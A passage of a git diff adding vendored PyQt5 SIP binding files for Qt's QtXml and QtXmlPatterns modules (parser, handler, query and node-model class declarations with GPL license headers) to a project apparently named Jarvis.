QByteArray &data, bool beginning = false); +}; + +class QXmlParseException +{ +%TypeHeaderCode +#include +%End + +public: + QXmlParseException(const QString &name = QString(), int column = -1, int line = -1, const QString &publicId = QString(), const QString &systemId = QString()); + QXmlParseException(const QXmlParseException &other); + ~QXmlParseException(); + int columnNumber() const; + int lineNumber() const; + QString publicId() const; + QString systemId() const; + QString message() const; + +private: + QXmlParseException &operator=(const QXmlParseException &); +}; + +class QXmlReader +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QXmlReader(); + virtual bool feature(const QString &name, bool *ok = 0) const = 0; + virtual void setFeature(const QString &name, bool value) = 0; + virtual bool hasFeature(const QString &name) const = 0; + virtual void *property(const QString &name, bool *ok = 0) const = 0; + virtual void setProperty(const QString &name, void *value) = 0; + virtual bool hasProperty(const QString &name) const = 0; + virtual void setEntityResolver(QXmlEntityResolver *handler /KeepReference/) = 0; + virtual QXmlEntityResolver *entityResolver() const = 0; + virtual void setDTDHandler(QXmlDTDHandler *handler /KeepReference/) = 0; + virtual QXmlDTDHandler *DTDHandler() const = 0; + virtual void setContentHandler(QXmlContentHandler *handler /KeepReference/) = 0; + virtual QXmlContentHandler *contentHandler() const = 0; + virtual void setErrorHandler(QXmlErrorHandler *handler /KeepReference/) = 0; + virtual QXmlErrorHandler *errorHandler() const = 0; + virtual void setLexicalHandler(QXmlLexicalHandler *handler /KeepReference/) = 0; + virtual QXmlLexicalHandler *lexicalHandler() const = 0; + virtual void setDeclHandler(QXmlDeclHandler *handler /KeepReference/) = 0; + virtual QXmlDeclHandler *declHandler() const = 0; + virtual bool parse(const QXmlInputSource &input) = 0; + virtual bool parse(const QXmlInputSource *input) = 0; +}; + +class QXmlSimpleReader : QXmlReader +{ +%TypeHeaderCode +#include +%End + +public: + QXmlSimpleReader(); + virtual ~QXmlSimpleReader(); + virtual bool feature(const QString &name, bool *ok = 0) const; + virtual void setFeature(const QString &name, bool value); + virtual bool hasFeature(const QString &name) const; + virtual void *property(const QString &name, bool *ok = 0) const; + virtual void setProperty(const QString &name, void *value); + virtual bool hasProperty(const QString &name) const; + virtual void setEntityResolver(QXmlEntityResolver *handler /KeepReference/); + virtual QXmlEntityResolver *entityResolver() const; + virtual void setDTDHandler(QXmlDTDHandler *handler); + virtual QXmlDTDHandler *DTDHandler() const; + virtual void setContentHandler(QXmlContentHandler *handler /KeepReference/); + virtual QXmlContentHandler *contentHandler() const; + virtual void setErrorHandler(QXmlErrorHandler *handler /KeepReference/); + virtual QXmlErrorHandler *errorHandler() const; + virtual void setLexicalHandler(QXmlLexicalHandler *handler /KeepReference/); + virtual QXmlLexicalHandler *lexicalHandler() const; + virtual void setDeclHandler(QXmlDeclHandler *handler /KeepReference/); + virtual QXmlDeclHandler *declHandler() const; + virtual bool parse(const QXmlInputSource *input); + virtual bool parse(const QXmlInputSource *input, bool incremental); + virtual bool parseContinue(); + +private: + QXmlSimpleReader(const QXmlSimpleReader &); +}; + +class QXmlLocator +{ +%TypeHeaderCode +#include +%End + +public: + QXmlLocator(); + virtual ~QXmlLocator(); + virtual int columnNumber() const = 0; + virtual int lineNumber() const = 0; +}; + +class QXmlContentHandler +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QXmlContentHandler(); + virtual void setDocumentLocator(QXmlLocator *locator /KeepReference/) = 0; + virtual bool startDocument() = 0; + virtual bool endDocument() = 0; + virtual bool startPrefixMapping(const QString &prefix, const QString &uri) = 0; + virtual bool endPrefixMapping(const QString &prefix) = 0; + virtual bool startElement(const QString &namespaceURI, const QString &localName, const QString &qName, const QXmlAttributes &atts) = 0; + virtual bool endElement(const QString &namespaceURI, const QString &localName, const QString &qName) = 0; + virtual bool characters(const QString &ch) = 0; + virtual bool ignorableWhitespace(const QString &ch) = 0; + virtual bool processingInstruction(const QString &target, const QString &data) = 0; + virtual bool skippedEntity(const QString &name) = 0; + virtual QString errorString() const = 0; +}; + +class QXmlErrorHandler +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QXmlErrorHandler(); + virtual bool warning(const QXmlParseException &exception) = 0; + virtual bool error(const QXmlParseException &exception) = 0; + virtual bool fatalError(const QXmlParseException &exception) = 0; + virtual QString errorString() const = 0; +}; + +class QXmlDTDHandler +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QXmlDTDHandler(); + virtual bool notationDecl(const QString &name, const QString &publicId, const QString &systemId) = 0; + virtual bool unparsedEntityDecl(const QString &name, const QString &publicId, const QString &systemId, const QString ¬ationName) = 0; + virtual QString errorString() const = 0; +}; + +class QXmlEntityResolver +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QXmlEntityResolver(); + virtual bool resolveEntity(const QString &publicId, const QString &systemId, QXmlInputSource *&ret) = 0; + virtual QString errorString() const = 0; +}; + +class QXmlLexicalHandler +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QXmlLexicalHandler(); + virtual bool startDTD(const QString &name, const QString &publicId, const QString &systemId) = 0; + virtual bool endDTD() = 0; + virtual bool startEntity(const QString &name) = 0; + virtual bool endEntity(const QString &name) = 0; + virtual bool startCDATA() = 0; + virtual bool endCDATA() = 0; + virtual bool comment(const QString &ch) = 0; + virtual QString errorString() const = 0; +}; + +class QXmlDeclHandler +{ +%TypeHeaderCode +#include +%End + +public: + virtual ~QXmlDeclHandler(); + virtual bool attributeDecl(const QString &eName, const QString &aName, const QString &type, const QString &valueDefault, const QString &value) = 0; + virtual bool internalEntityDecl(const QString &name, const QString &value) = 0; + virtual bool externalEntityDecl(const QString &name, const QString &publicId, const QString &systemId) = 0; + virtual QString errorString() const = 0; +}; + +class QXmlDefaultHandler : QXmlContentHandler, QXmlErrorHandler, QXmlDTDHandler, QXmlEntityResolver, QXmlLexicalHandler, QXmlDeclHandler +{ +%TypeHeaderCode +#include +%End + +public: + QXmlDefaultHandler(); + virtual ~QXmlDefaultHandler(); + virtual void setDocumentLocator(QXmlLocator *locator /KeepReference/); + virtual bool startDocument(); + virtual bool endDocument(); + virtual bool startPrefixMapping(const QString &prefix, const QString &uri); + virtual bool endPrefixMapping(const QString &prefix); + virtual bool startElement(const QString &namespaceURI, const QString &localName, const QString &qName, const QXmlAttributes &atts); + virtual bool endElement(const QString &namespaceURI, const QString &localName, const QString &qName); + virtual bool characters(const QString &ch); + virtual bool ignorableWhitespace(const QString &ch); + virtual bool processingInstruction(const QString &target, const QString &data); + virtual bool skippedEntity(const QString &name); + virtual bool warning(const QXmlParseException &exception); + virtual bool error(const QXmlParseException &exception); + virtual bool fatalError(const QXmlParseException &exception); + virtual bool notationDecl(const QString &name, const QString &publicId, const QString &systemId); + virtual bool unparsedEntityDecl(const QString &name, const QString &publicId, const QString &systemId, const QString ¬ationName); + virtual bool resolveEntity(const QString &publicId, const QString &systemId, QXmlInputSource *&ret); + virtual bool startDTD(const QString &name, const QString &publicId, const QString &systemId); + virtual bool endDTD(); + virtual bool startEntity(const QString &name); + virtual bool endEntity(const QString &name); + virtual bool startCDATA(); + virtual bool endCDATA(); + virtual bool comment(const QString &ch); + virtual bool attributeDecl(const QString &eName, const QString &aName, const QString &type, const QString &valueDefault, const QString &value); + virtual bool internalEntityDecl(const QString &name, const QString &value); + virtual bool externalEntityDecl(const QString &name, const QString &publicId, const QString &systemId); + virtual QString errorString() const; + +private: + QXmlDefaultHandler(const QXmlDefaultHandler &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/QtXmlPatterns.toml b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/QtXmlPatterns.toml new file mode 100644 index 00000000..c50b1f53 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/QtXmlPatterns.toml @@ -0,0 +1,6 @@ +# Automatically generated configuration for PyQt5.QtXmlPatterns. + +sip-version = "6.4.0" +sip-abi-version = "12.8" +module-tags = ["Qt_5_15_0", "WS_WIN"] +module-disabled-features = [] diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/QtXmlPatternsmod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/QtXmlPatternsmod.sip new file mode 100644 index 00000000..8d95f743 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/QtXmlPatternsmod.sip @@ -0,0 +1,62 @@ +// QtXmlPatternsmod.sip generated by MetaSIP +// +// This file is part of the QtXmlPatterns Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%Module(name=PyQt5.QtXmlPatterns, keyword_arguments="Optional", use_limited_api=True) + +%Import QtCore/QtCoremod.sip +%Import QtNetwork/QtNetworkmod.sip + +%Copying +Copyright (c) 2021 Riverbank Computing Limited + +This file is part of PyQt5. + +This file may be used under the terms of the GNU General Public License +version 3.0 as published by the Free Software Foundation and appearing in +the file LICENSE included in the packaging of this file. Please review the +following information to ensure the GNU General Public License version 3.0 +requirements will be met: http://www.gnu.org/copyleft/gpl.html. + +If you do not wish to use this file under the terms of the GPL version 3.0 +then you may purchase a commercial license. For more information contact +info@riverbankcomputing.com. + +This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +%End + +%DefaultSupertype sip.simplewrapper + +%Include qabstractmessagehandler.sip +%Include qabstracturiresolver.sip +%Include qabstractxmlnodemodel.sip +%Include qabstractxmlreceiver.sip +%Include qsimplexmlnodemodel.sip +%Include qsourcelocation.sip +%Include qxmlformatter.sip +%Include qxmlname.sip +%Include qxmlnamepool.sip +%Include qxmlquery.sip +%Include qxmlresultitems.sip +%Include qxmlschema.sip +%Include qxmlschemavalidator.sip +%Include qxmlserializer.sip diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qabstractmessagehandler.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qabstractmessagehandler.sip new file mode 100644 index 00000000..45ec5ecb --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qabstractmessagehandler.sip @@ -0,0 +1,65 @@ +// qabstractmessagehandler.sip generated by MetaSIP +// +// This file is part of the QtXmlPatterns Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAbstractMessageHandler : QObject +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + static struct class_graph { + const char *name; + sipTypeDef **type; + int yes, no; + } graph[] = { + {sipName_QAbstractUriResolver, &sipType_QAbstractUriResolver, -1, 1}, + {sipName_QAbstractMessageHandler, &sipType_QAbstractMessageHandler, -1, -1}, + }; + + int i = 0; + + sipType = NULL; + + do + { + struct class_graph *cg = &graph[i]; + + if (cg->name != NULL && sipCpp->inherits(cg->name)) + { + sipType = *cg->type; + i = cg->yes; + } + else + i = cg->no; + } + while (i >= 0); +%End + +public: + QAbstractMessageHandler(QObject *parent /TransferThis/ = 0); + virtual ~QAbstractMessageHandler(); + void message(QtMsgType type, const QString &description, const QUrl &identifier = QUrl(), const QSourceLocation &sourceLocation = QSourceLocation()); + +protected: + virtual void handleMessage(QtMsgType type, const QString &description, const QUrl &identifier, const QSourceLocation &sourceLocation) = 0; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qabstracturiresolver.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qabstracturiresolver.sip new file mode 100644 index 00000000..31e11463 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qabstracturiresolver.sip @@ -0,0 +1,33 @@ +// qabstracturiresolver.sip generated by MetaSIP +// +// This file is part of the QtXmlPatterns Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAbstractUriResolver : QObject +{ +%TypeHeaderCode +#include +%End + +public: + QAbstractUriResolver(QObject *parent /TransferThis/ = 0); + virtual ~QAbstractUriResolver(); + virtual QUrl resolve(const QUrl &relative, const QUrl &baseURI) const = 0; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qabstractxmlnodemodel.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qabstractxmlnodemodel.sip new file mode 100644 index 00000000..68f182ff --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qabstractxmlnodemodel.sip @@ -0,0 +1,131 @@ +// qabstractxmlnodemodel.sip generated by MetaSIP +// +// This file is part of the QtXmlPatterns Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QXmlNodeModelIndex +{ +%TypeHeaderCode +#include +%End + +public: + QXmlNodeModelIndex(); + QXmlNodeModelIndex(const QXmlNodeModelIndex &other); + bool operator==(const QXmlNodeModelIndex &other) const; + bool operator!=(const QXmlNodeModelIndex &other) const; + + enum NodeKind + { + Attribute, + Comment, + Document, + Element, + Namespace, + ProcessingInstruction, + Text, + }; + + enum DocumentOrder + { + Precedes, + Is, + Follows, + }; + + qint64 data() const; + SIP_PYOBJECT internalPointer() const; +%MethodCode + sipRes = reinterpret_cast(sipCpp->internalPointer()); + + if (!sipRes) + sipRes = Py_None; + + Py_INCREF(sipRes); +%End + + const QAbstractXmlNodeModel *model() const; + qint64 additionalData() const; + bool isNull() const; + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End +}; + +class QAbstractXmlNodeModel +{ +%TypeHeaderCode +#include +%End + +public: + enum SimpleAxis + { + Parent, + FirstChild, + PreviousSibling, + NextSibling, + }; + + QAbstractXmlNodeModel(); + virtual ~QAbstractXmlNodeModel(); + virtual QUrl baseUri(const QXmlNodeModelIndex &ni) const = 0; + virtual QUrl documentUri(const QXmlNodeModelIndex &ni) const = 0; + virtual QXmlNodeModelIndex::NodeKind kind(const QXmlNodeModelIndex &ni) const = 0; + virtual QXmlNodeModelIndex::DocumentOrder compareOrder(const QXmlNodeModelIndex &ni1, const QXmlNodeModelIndex &ni2) const = 0; + virtual QXmlNodeModelIndex root(const QXmlNodeModelIndex &n) const = 0; + virtual QXmlName name(const QXmlNodeModelIndex &ni) const = 0; + virtual QString stringValue(const QXmlNodeModelIndex &n) const = 0; + virtual QVariant typedValue(const QXmlNodeModelIndex &n) const = 0; + virtual QVector namespaceBindings(const QXmlNodeModelIndex &n) const = 0; + virtual QXmlNodeModelIndex elementById(const QXmlName &NCName) const = 0; + virtual QVector nodesByIdref(const QXmlName &NCName) const = 0; + QSourceLocation sourceLocation(const QXmlNodeModelIndex &index) const; + +protected: + virtual QXmlNodeModelIndex nextFromSimpleAxis(QAbstractXmlNodeModel::SimpleAxis axis, const QXmlNodeModelIndex &origin) const = 0; + virtual QVector attributes(const QXmlNodeModelIndex &element) const = 0; + QXmlNodeModelIndex createIndex(qint64 data) const; + QXmlNodeModelIndex createIndex(qint64 data, qint64 additionalData) const; + QXmlNodeModelIndex createIndex(SIP_PYOBJECT pointer, qint64 additionalData = 0) const [QXmlNodeModelIndex (void *pointer, qint64 additionalData = 0)]; + +private: + QAbstractXmlNodeModel(const QAbstractXmlNodeModel &); +}; + +class QXmlItem +{ +%TypeHeaderCode +#include +%End + +public: + QXmlItem(); + QXmlItem(const QXmlItem &other); + QXmlItem(const QXmlNodeModelIndex &node); + QXmlItem(const QVariant &atomicValue); + ~QXmlItem(); + bool isNull() const; + bool isNode() const; + bool isAtomicValue() const; + QVariant toAtomicValue() const; + QXmlNodeModelIndex toNodeModelIndex() const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qabstractxmlreceiver.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qabstractxmlreceiver.sip new file mode 100644 index 00000000..ebb903aa --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qabstractxmlreceiver.sip @@ -0,0 +1,47 @@ +// qabstractxmlreceiver.sip generated by MetaSIP +// +// This file is part of the QtXmlPatterns Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAbstractXmlReceiver +{ +%TypeHeaderCode +#include +%End + +public: + QAbstractXmlReceiver(); + virtual ~QAbstractXmlReceiver(); + virtual void startElement(const QXmlName &name) = 0; + virtual void endElement() = 0; + virtual void attribute(const QXmlName &name, const QStringRef &value) = 0; + virtual void comment(const QString &value) = 0; + virtual void characters(const QStringRef &value) = 0; + virtual void startDocument() = 0; + virtual void endDocument() = 0; + virtual void processingInstruction(const QXmlName &target, const QString &value) = 0; + virtual void atomicValue(const QVariant &value) = 0; + virtual void namespaceBinding(const QXmlName &name) = 0; + virtual void startOfSequence() = 0; + virtual void endOfSequence() = 0; + +private: + QAbstractXmlReceiver(const QAbstractXmlReceiver &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qsimplexmlnodemodel.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qsimplexmlnodemodel.sip new file mode 100644 index 00000000..ae4900fd --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qsimplexmlnodemodel.sip @@ -0,0 +1,38 @@ +// qsimplexmlnodemodel.sip generated by MetaSIP +// +// This file is part of the QtXmlPatterns Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSimpleXmlNodeModel : QAbstractXmlNodeModel +{ +%TypeHeaderCode +#include +%End + +public: + QSimpleXmlNodeModel(const QXmlNamePool &namePool); + virtual ~QSimpleXmlNodeModel(); + virtual QUrl baseUri(const QXmlNodeModelIndex &node) const; + QXmlNamePool &namePool() const; + virtual QVector namespaceBindings(const QXmlNodeModelIndex &) const; + virtual QString stringValue(const QXmlNodeModelIndex &node) const; + virtual QXmlNodeModelIndex elementById(const QXmlName &id) const; + virtual QVector nodesByIdref(const QXmlName &idref) const; +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qsourcelocation.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qsourcelocation.sip new file mode 100644 index 00000000..5eaae15b --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qsourcelocation.sip @@ -0,0 +1,47 @@ +// qsourcelocation.sip generated by MetaSIP +// +// This file is part of the QtXmlPatterns Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QSourceLocation +{ +%TypeHeaderCode +#include +%End + +public: + QSourceLocation(); + QSourceLocation(const QSourceLocation &other); + QSourceLocation(const QUrl &u, int line = -1, int column = -1); + ~QSourceLocation(); + bool operator==(const QSourceLocation &other) const; + bool operator!=(const QSourceLocation &other) const; + qint64 column() const; + void setColumn(qint64 newColumn); + qint64 line() const; + void setLine(qint64 newLine); + QUrl uri() const; + void setUri(const QUrl &newUri); + bool isNull() const; + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qxmlformatter.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qxmlformatter.sip new file mode 100644 index 00000000..1bb9705d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qxmlformatter.sip @@ -0,0 +1,44 @@ +// qxmlformatter.sip generated by MetaSIP +// +// This file is part of the QtXmlPatterns Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QXmlFormatter : QXmlSerializer +{ +%TypeHeaderCode +#include +%End + +public: + QXmlFormatter(const QXmlQuery &query, QIODevice *outputDevice); + virtual void characters(const QStringRef &value); + virtual void comment(const QString &value); + virtual void startElement(const QXmlName &name); + virtual void endElement(); + virtual void attribute(const QXmlName &name, const QStringRef &value); + virtual void processingInstruction(const QXmlName &name, const QString &value); + virtual void atomicValue(const QVariant &value); + virtual void startDocument(); + virtual void endDocument(); + virtual void startOfSequence(); + virtual void endOfSequence(); + int indentationDepth() const; + void setIndentationDepth(int depth); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qxmlname.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qxmlname.sip new file mode 100644 index 00000000..8c6671a3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qxmlname.sip @@ -0,0 +1,48 @@ +// qxmlname.sip generated by MetaSIP +// +// This file is part of the QtXmlPatterns Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QXmlName +{ +%TypeHeaderCode +#include +%End + +public: + QXmlName(); + QXmlName(QXmlNamePool &namePool, const QString &localName, const QString &namespaceUri = QString(), const QString &prefix = QString()); +%If (Qt_5_9_0 -) + QXmlName(const QXmlName &other); +%End + QString namespaceUri(const QXmlNamePool &query) const; + QString prefix(const QXmlNamePool &query) const; + QString localName(const QXmlNamePool &query) const; + QString toClarkName(const QXmlNamePool &query) const; + bool operator==(const QXmlName &other) const; + bool operator!=(const QXmlName &other) const; + bool isNull() const; + static bool isNCName(const QString &candidate); + static QXmlName fromClarkName(const QString &clarkName, const QXmlNamePool &namePool); + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qxmlnamepool.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qxmlnamepool.sip new file mode 100644 index 00000000..1ca5b2d0 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qxmlnamepool.sip @@ -0,0 +1,33 @@ +// qxmlnamepool.sip generated by MetaSIP +// +// This file is part of the QtXmlPatterns Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QXmlNamePool +{ +%TypeHeaderCode +#include +%End + +public: + QXmlNamePool(); + QXmlNamePool(const QXmlNamePool &other); + ~QXmlNamePool(); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qxmlquery.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qxmlquery.sip new file mode 100644 index 00000000..792fbcd5 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXmlPatterns/qxmlquery.sip @@ -0,0 +1,126 @@ +// qxmlquery.sip generated by MetaSIP +// +// This file is part of the QtXmlPatterns Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QXmlQuery +{ +%TypeHeaderCode +#include +%End + +%TypeCode +// Needed by the evaluateToStringList() %MethodCode. +#include +%End + +public: + enum QueryLanguage + { + XQuery10, + XSLT20, + }; + + QXmlQuery(); + QXmlQuery(const QXmlQuery &other); + QXmlQuery(const QXmlNamePool &np); + QXmlQuery(QXmlQuery::QueryLanguage queryLanguage, const QXmlNamePool &pool = QXmlNamePool()); + ~QXmlQuery(); + void setMessageHandler(QAbstractMessageHandler *messageHandler /KeepReference/); + QAbstractMessageHandler *messageHandler() const; + void setQuery(const QString &sourceCode, const QUrl &documentUri = QUrl()); + void setQuery(QIODevice *sourceCode, const QUrl &documentUri = QUrl()); + void setQuery(const QUrl &queryURI, const QUrl &baseUri = QUrl()); + QXmlNamePool namePool() const; + void bindVariable(const QXmlName &name, const QXmlItem &value); + void bindVariable(const QXmlName &name, QIODevice *); + void bindVariable(const QXmlName &name, const QXmlQuery &query); + void bindVariable(const QString &localName, const QXmlItem &value); + void 